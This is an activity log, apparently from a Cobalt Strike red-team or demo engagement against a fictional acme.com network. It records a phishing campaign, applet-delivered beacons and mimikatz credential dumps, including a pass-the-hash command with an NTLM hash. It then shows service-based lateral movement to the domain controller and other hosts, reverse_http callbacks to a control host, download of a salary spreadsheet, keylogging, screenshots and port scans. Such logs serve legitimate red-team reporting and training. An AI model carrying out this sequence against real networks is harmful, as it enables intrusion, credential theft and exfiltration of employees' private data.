Activity Report

Sep 21, 2015

This report shows a timeline of this engagement.

date	host	user	pid	activity
09/21 21:01				hosted system profiler @ http://192.168.1.4:80/
09/21 21:04				Started phishing campaign: Raphael Mudge wants to connect on LinkedIn
09/21 21:04				Email to 02fda95897c04@acme.com: SUCCESS
09/21 21:04				Email to 97dbb3084bf@acme.com: SUCCESS
09/21 21:04				Email to 901d0829e67@acme.com: SUCCESS
09/21 21:04				Email to ac37a27814@acme.com: SUCCESS
09/21 21:04				Email to 1a24@acme.com: Failed
09/21 21:04				Email to 1b84914da3bf@acme.com: Failed
09/21 21:04				visit to / (profiler System Profiler. Redirects to http://www.linkedin.com/) by 192.168.1.95 (901d0829e67@acme.com)
09/21 21:04				visit to /check.js (profiler System Profiler. Redirects to http://www.linkedin.com/) by 192.168.1.95
09/21 21:04				received system profile (7 applications)
09/21 21:05				visit to / (profiler System Profiler. Redirects to http://www.linkedin.com/) by 192.168.1.95 (97dbb3084bf@acme.com)
09/21 21:05				visit to /check.js (profiler System Profiler. Redirects to http://www.linkedin.com/) by 192.168.1.95
09/21 21:05				received system profile (8 applications)
09/21 21:05				hosted signed applet @ http://192.168.1.4:80/mPlayer
09/21 21:07				hosted cloned site: http://www.hick.org/~raffi/ @ http://192.168.1.4:80/~raffi
09/21 21:09				Started phishing campaign: Thank you
09/21 21:09				Email to 6348b553a1e@acme.com: SUCCESS
09/21 21:09				visit to /~raffi (page Clone of: http://www.hick.org/~raffi/. Serves http://192.168.1.4:80/mPlayer?id=%TOKEN%) by 192.168.1.95 (6348b553a1e@acme.com)

date	host	user	pid	activity
09/21 21:09				visit to /mPlayer (page signed applet) by 192.168.1.95 (6348b553a1e@acme.com)
09/21 21:09				visit to /effectrl.jar (page signed applet) by 192.168.1.95
09/21 21:09				visit to /effectrl.jar (page signed applet) by 192.168.1.95
09/21 21:09				visit to /wuxL/ (beacon beacon stager) by 192.168.1.95
09/21 21:09	WS2	whatta.hogg	2604	initial beacon
09/21 21:09	WS2	whatta.hogg	2604	sleep for 5s
09/21 21:09	WS2	whatta.hogg	2604	host called home, sent: 16 bytes
09/21 21:09	WS2	whatta.hogg	2604	print working directory
09/21 21:09	WS2	whatta.hogg	2604	host called home, sent: 8 bytes
09/21 21:09	WS2	whatta.hogg	2604	cd ..
09/21 21:09	WS2	whatta.hogg	2604	list files in .
09/21 21:09	WS2	whatta.hogg	2604	host called home, sent: 29 bytes
09/21 21:10	WS2	whatta.hogg	2604	run: dir /S /B | findstr ".doc"
09/21 21:10	WS2	whatta.hogg	2604	host called home, sent: 34 bytes
09/21 21:10	WS2	whatta.hogg	2604	run: net use
09/21 21:10	WS2	whatta.hogg	2604	host called home, sent: 15 bytes
09/21 21:10	WS2	whatta.hogg	2604	run: whoami /groups
09/21 21:10	WS2	whatta.hogg	2604	host called home, sent: 22 bytes
09/21 21:10	WS2	whatta.hogg	2604	spawn windows/beacon_smb/bind_pipe (127.0.0.1:9813) in a high integrity process
09/21 21:10	WS2	whatta.hogg	2604	host called home, sent: 266285 bytes
09/21 21:10	WS2	whatta.hogg *	2512	initial beacon
09/21 21:10	WS2	whatta.hogg	2604	established link to child beacon: WS2
09/21 21:10	WS2	whatta.hogg *	2512	established link to parent beacon: WS2
09/21 21:11	WS2	whatta.hogg *	2512	dump hashes
09/21 21:11	WS2	whatta.hogg *	2512	run mimikatz's sekurlsa::logonpasswords command
09/21 21:11	WS2	whatta.hogg *	2512	host called home, sent: 302231 bytes

date	host	user	pid	activity
09/21 21:11	WS2	whatta.hogg *	2512	received password hashes
09/21 21:11	WS2	whatta.hogg *	2512	run net view
09/21 21:11	WS2	whatta.hogg *	2512	host called home, sent: 74296 bytes
09/21 21:11	WS2	whatta.hogg *	2512	received output from net module
09/21 21:11	WS2	whatta.hogg *	2512	revert token
09/21 21:11	WS2	whatta.hogg *	2512	run mimikatz's sekurlsa::pth /user:Administrator /domain:. /ntlm:4d714387627d0b7b8dfb527d98f96f01 /run:"cmd.exe /c echo a163fceaba6 > \\.\pipe\58d2d5" command
09/21 21:11	WS2	whatta.hogg *	2512	run windows/beacon_smb/bind_pipe (\\CEOSBOX\pipe\status_9813) on CEOSBOX via Service Control Manager (PSH)
09/21 21:12	WS2	whatta.hogg *	2512	host called home, sent: 437605 bytes
09/21 21:12	CEOSBOX	SYSTEM *	2500	initial beacon
09/21 21:12	WS2	whatta.hogg *	2512	established link to child beacon: CEOSBOX
09/21 21:12	CEOSBOX	SYSTEM *	2500	established link to parent beacon: WS2
09/21 21:12	CEOSBOX	SYSTEM *	2500	print working directory
09/21 21:12	CEOSBOX	SYSTEM *	2500	host called home, sent: 8 bytes
09/21 21:12	CEOSBOX	SYSTEM *	2500	list processes
09/21 21:12	CEOSBOX	SYSTEM *	2500	host called home, sent: 12 bytes
09/21 21:12	CEOSBOX	SYSTEM *	2500	inject windows/beacon_http/reverse_http (192.168.1.4:80) into 2872
09/21 21:12	CEOSBOX	SYSTEM *	2500	host called home, sent: 541 bytes
09/21 21:12				visit to /Bdyd/ (beacon beacon stager) by 192.168.1.95
09/21 21:12	CEOSBOX	jim.stevens	2872	initial beacon
09/21 21:12	CEOSBOX	SYSTEM *	2500	Tasked to unlink 10.10.10.190
09/21 21:12	WS2	whatta.hogg *	2512	host called home, sent: 24 bytes
09/21 21:12	CEOSBOX	jim.stevens	2872	Tasked to link to 'localhost'
09/21 21:12	CEOSBOX	jim.stevens	2872	host called home, sent: 17 bytes

date	host	user	pid	activity
09/21 21:12	CEOSBOX	jim.stevens	2872	established link to child beacon: CEOSBOX
09/21 21:12	CEOSBOX	SYSTEM *	2500	established link to parent beacon: CEOSBOX
09/21 21:12	WS2	whatta.hogg	2604	sleep for 180s
09/21 21:13	WS2	whatta.hogg	2604	host called home, sent: 28 bytes
09/21 21:13	CEOSBOX	SYSTEM *	2500	dump hashes
09/21 21:13	CEOSBOX	SYSTEM *	2500	host called home, sent: 63557 bytes
09/21 21:13	CEOSBOX	SYSTEM *	2500	received password hashes
09/21 21:13	CEOSBOX	SYSTEM *	2500	run mimikatz's sekurlsa::logonpasswords command
09/21 21:13	CEOSBOX	SYSTEM *	2500	host called home, sent: 238674 bytes
09/21 21:13	CEOSBOX	jim.stevens	2872	import: /root/PowerTools/PowerView/powerview.ps1
09/21 21:13	CEOSBOX	jim.stevens	2872	host called home, sent: 408270 bytes
09/21 21:13	CEOSBOX	jim.stevens	2872	run: Invoke-FindLocalAdminAccess
09/21 21:13	CEOSBOX	jim.stevens	2872	host called home, sent: 47 bytes
09/21 21:14	CEOSBOX	jim.stevens	2872	run windows/beacon_smb/bind_pipe (\\FILESERVER\pipe \status_9813) on FILESERVER via Service Control Manager (\\FILESERVER\ADMIN$\4ff65cb.exe)
09/21 21:14	CEOSBOX	jim.stevens	2872	host called home, sent: 209176 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	initial beacon
09/21 21:14	CEOSBOX	jim.stevens	2872	established link to child beacon: FILESERVER
09/21 21:14	FILESERVER	SYSTEM *	1028	established link to parent beacon: CEOSBOX
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 12 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 19 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 28 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 20 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 25 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 41 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	download C:\ACME\human resources\salary data.xlsx
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 48 bytes

date	host	user	pid	activity
09/21 21:14	FILESERVER	SYSTEM *	1028	started download of C:\ACME\human resources\salary data.xlsx (9174 bytes)
09/21 21:14	FILESERVER	SYSTEM *	1028	download of salary data.xlsx is complete
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 25 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 35 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	download C:\ACME\Resources\background.jpg
09/21 21:14	FILESERVER	SYSTEM *	1028	download C:\ACME\Resources\Thumbs.db
09/21 21:14	FILESERVER	SYSTEM *	1028	host called home, sent: 75 bytes
09/21 21:14	FILESERVER	SYSTEM *	1028	started download of C:\ACME\Resources\background.jpg (32811 bytes)
09/21 21:14	FILESERVER	SYSTEM *	1028	started download of C:\ACME\Resources\Thumbs.db (27136 bytes)
09/21 21:14	FILESERVER	SYSTEM *	1028	download of Thumbs.db is complete
09/21 21:14	FILESERVER	SYSTEM *	1028	download of background.jpg is complete
09/21 21:15	FILESERVER	SYSTEM *	1028	dump hashes
09/21 21:15	FILESERVER	SYSTEM *	1028	host called home, sent: 63557 bytes
09/21 21:15	FILESERVER	SYSTEM *	1028	received password hashes
09/21 21:15	FILESERVER	SYSTEM *	1028	host called home, sent: 12 bytes
09/21 21:15	FILESERVER	SYSTEM *	1028	steal token from PID 1952
09/21 21:15	FILESERVER	SYSTEM *	1028	host called home, sent: 12 bytes
09/21 21:15	FILESERVER	SYSTEM *	1028	run windows/beacon_smb/bind_pipe (\\DC\pipe \status_9813) on DC via Service Control Manager (\\DC \ADMIN$\a420770.exe)
09/21 21:15	FILESERVER	SYSTEM *	1028	run windows/beacon_smb/bind_pipe (\\MAIL\pipe \status_9813) on MAIL via Service Control Manager (\\MAIL \ADMIN$\559a08b.exe)
09/21 21:15	FILESERVER	SYSTEM *	1028	run windows/beacon_smb/bind_pipe (\\JOSHDEV\pipe \status_9813) on JOSHDEV via Service Control Manager (\ \JOSHDEV\ADMIN$\5b27e50.exe)

date	host	user	pid	activity
09/21 21:15	FILESERVER	SYSTEM *	1028	run windows/beacon_smb/bind_pipe (\\BILLING-POWER \pipe\status_9813) on BILLING-POWER via Service Control Manager (\\BILLING-POWER\ADMIN$\c4bac30.exe)
09/21 21:15	FILESERVER	SYSTEM *	1028	host called home, sent: 836590 bytes
09/21 21:16	DC	SYSTEM *	15512	initial beacon
09/21 21:16	FILESERVER	SYSTEM *	1028	established link to child beacon: DC
09/21 21:16	DC	SYSTEM *	15512	established link to parent beacon: FILESERVER
09/21 21:16	MAIL	SYSTEM *	776	initial beacon
09/21 21:16	FILESERVER	SYSTEM *	1028	established link to child beacon: MAIL
09/21 21:16	MAIL	SYSTEM *	776	established link to parent beacon: FILESERVER
09/21 21:16	JOSHDEV	SYSTEM *	596	initial beacon
09/21 21:16	FILESERVER	SYSTEM *	1028	established link to child beacon: JOSHDEV
09/21 21:16	JOSHDEV	SYSTEM *	596	established link to parent beacon: FILESERVER
09/21 21:16	BILLING-POWER	SYSTEM *	3448	initial beacon
09/21 21:16	FILESERVER	SYSTEM *	1028	established link to child beacon: BILLING-POWER
09/21 21:16	BILLING-POWER	SYSTEM *	3448	established link to parent beacon: FILESERVER
09/21 21:16	DC	SYSTEM *	15512	host called home, sent: 12 bytes
09/21 21:16	MAIL	SYSTEM *	776	host called home, sent: 12 bytes
09/21 21:16	JOSHDEV	SYSTEM *	596	host called home, sent: 12 bytes
09/21 21:16	BILLING-POWER	SYSTEM *	3448	host called home, sent: 12 bytes
09/21 21:16	FILESERVER	SYSTEM *	1028	host called home, sent: 188 bytes
09/21 21:16	CEOSBOX	jim.stevens	2872	host called home, sent: 244 bytes
09/21 21:16	CEOSBOX	jim.stevens	2872	log keystrokes in 2872 (x86)
09/21 21:16	FILESERVER	SYSTEM *	1028	log keystrokes in 1952 (x86)
09/21 21:16	DC	SYSTEM *	15512	log keystrokes in 2604 (x64)

date	host	user	pid	activity
09/21 21:16	JOSHDEV	SYSTEM *	596	log keystrokes in 1688 (x86)
09/21 21:16	BILLING-POWER	SYSTEM *	3448	log keystrokes in 1608 (x86)
09/21 21:16	DC	SYSTEM *	15512	host called home, sent: 80458 bytes
09/21 21:16	JOSHDEV	SYSTEM *	596	host called home, sent: 63562 bytes
09/21 21:16	BILLING-POWER	SYSTEM *	3448	host called home, sent: 63562 bytes
09/21 21:16	FILESERVER	SYSTEM *	1028	host called home, sent: 271258 bytes
09/21 21:16	CEOSBOX	jim.stevens	2872	host called home, sent: 334866 bytes
09/21 21:16	CEOSBOX	jim.stevens	2872	take screenshots in 2872/x86 for next 30 seconds
09/21 21:16	FILESERVER	SYSTEM *	1028	take screenshots in 1952/x86 for next 30 seconds
09/21 21:16	DC	SYSTEM *	15512	take screenshots in 2604/x64 for next 30 seconds
09/21 21:16	JOSHDEV	SYSTEM *	596	take screenshots in 1688/x86 for next 30 seconds
09/21 21:16	BILLING-POWER	SYSTEM *	3448	take screenshots in 1608/x86 for next 30 seconds
09/21 21:16	DC	SYSTEM *	15512	host called home, sent: 198218 bytes
09/21 21:16	JOSHDEV	SYSTEM *	596	host called home, sent: 162890 bytes
09/21 21:16	BILLING-POWER	SYSTEM *	3448	host called home, sent: 162890 bytes
09/21 21:16	FILESERVER	SYSTEM *	1028	host called home, sent: 687002 bytes
09/21 21:16	CEOSBOX	jim.stevens	2872	host called home, sent: 849938 bytes
09/21 21:16	DC	SYSTEM *	15512	received screenshot (93983 bytes)
09/21 21:16	JOSHDEV	SYSTEM *	596	received screenshot (93598 bytes)
09/21 21:16	BILLING-POWER	SYSTEM *	3448	received screenshot (125871 bytes)
09/21 21:16	FILESERVER	SYSTEM *	1028	received screenshot (19684 bytes)
09/21 21:16	CEOSBOX	jim.stevens	2872	received screenshot (86612 bytes)
09/21 21:16	DC	SYSTEM *	15512	received screenshot (93983 bytes)

date	host	user	pid	activity
09/21 21:16	JOSHDEV	SYSTEM *	596	received screenshot (93598 bytes)
09/21 21:17	BILLING-POWER	SYSTEM *	3448	received screenshot (125871 bytes)
09/21 21:17	FILESERVER	SYSTEM *	1028	received screenshot (19647 bytes)
09/21 21:17	CEOSBOX	jim.stevens	2872	received screenshot (86612 bytes)
09/21 21:17	DC	SYSTEM *	15512	received screenshot (93983 bytes)
09/21 21:17	JOSHDEV	SYSTEM *	596	received screenshot (93598 bytes)
09/21 21:17	BILLING-POWER	SYSTEM *	3448	received screenshot (125871 bytes)
09/21 21:17	FILESERVER	SYSTEM *	1028	received screenshot (19781 bytes)
09/21 21:17	CEOSBOX	jim.stevens	2872	received screenshot (86612 bytes)
09/21 21:17	DC	SYSTEM *	15512	received screenshot (93983 bytes)
09/21 21:17	JOSHDEV	SYSTEM *	596	received screenshot (93598 bytes)
09/21 21:17	BILLING-POWER	SYSTEM *	3448	received screenshot (125871 bytes)
09/21 21:17	FILESERVER	SYSTEM *	1028	received screenshot (19781 bytes)
09/21 21:17	CEOSBOX	jim.stevens	2872	received screenshot (86612 bytes)
09/21 21:17	DC	SYSTEM *	15512	received screenshot (93983 bytes)
09/21 21:17	JOSHDEV	SYSTEM *	596	received screenshot (101201 bytes)
09/21 21:17	BILLING-POWER	SYSTEM *	3448	received screenshot (125871 bytes)
09/21 21:17	FILESERVER	SYSTEM *	1028	received screenshot (19528 bytes)
09/21 21:17	CEOSBOX	jim.stevens	2872	received screenshot (86612 bytes)
09/21 21:17	DC	SYSTEM *	15512	received screenshot (93983 bytes)
09/21 21:17	JOSHDEV	SYSTEM *	596	received screenshot (90090 bytes)
09/21 21:17	BILLING-POWER	SYSTEM *	3448	received screenshot (125871 bytes)
09/21 21:17	FILESERVER	SYSTEM *	1028	received screenshot (19528 bytes)

date	host	user	pid	activity
09/21 21:17	JOSHDEV	SYSTEM *	596	received keystrokes
09/21 21:17	JOSHDEV	SYSTEM *	596	received keystrokes
09/21 21:17	JOSHDEV	SYSTEM *	596	received keystrokes
09/21 21:17	JOSHDEV	SYSTEM *	596	received keystrokes
09/21 21:18	JOSHDEV	SYSTEM *	596	host called home, sent: 12 bytes
09/21 21:18	JOSHDEV	SYSTEM *	596	scan ports 22 on 192.168.57.0-192.168.57.255
09/21 21:18	JOSHDEV	SYSTEM *	596	host called home, sent: 75325 bytes
09/21 21:18	JOSHDEV	SYSTEM *	596	received output from port scanner
09/21 21:19	WS2	whatta.hogg	2604	host called home, sent: 24 bytes
09/21 21:23	CEOSBOX	jim.stevens	2872	host called home, sent: 100 bytes
09/21 21:23	CEOSBOX	jim.stevens	2872	scan ports 1-1024,5000-6000 on 10.10.10.0-10.10.10.255
09/21 21:23	CEOSBOX	jim.stevens	2872	host called home, sent: 75413 bytes
09/21 21:23	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:23	JOSHDEV	SYSTEM *	596	host called home, sent: 12 bytes
09/21 21:23	JOSHDEV	SYSTEM *	596	scan ports 22 on 192.168.57.0-192.168.57.255
09/21 21:23	JOSHDEV	SYSTEM *	596	host called home, sent: 75325 bytes
09/21 21:23	JOSHDEV	SYSTEM *	596	received output from port scanner
09/21 21:23	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:23	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:23	JOSHDEV	SYSTEM *	596	received output from port scanner
09/21 21:23	JOSHDEV	SYSTEM *	596	received output from port scanner
09/21 21:23	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:23	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:23	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:24	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:24	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:24	CEOSBOX	jim.stevens	2872	received output from port scanner

date	host	user	pid	activity
09/21 21:24	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:24	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:25	WS2	whatta.hogg	2604	host called home, sent: 24 bytes
09/21 21:25	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:25	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:25	CEOSBOX	jim.stevens	2872	received output from port scanner
09/21 21:25	CEOSBOX	jim.stevens	2872	received output from port scanner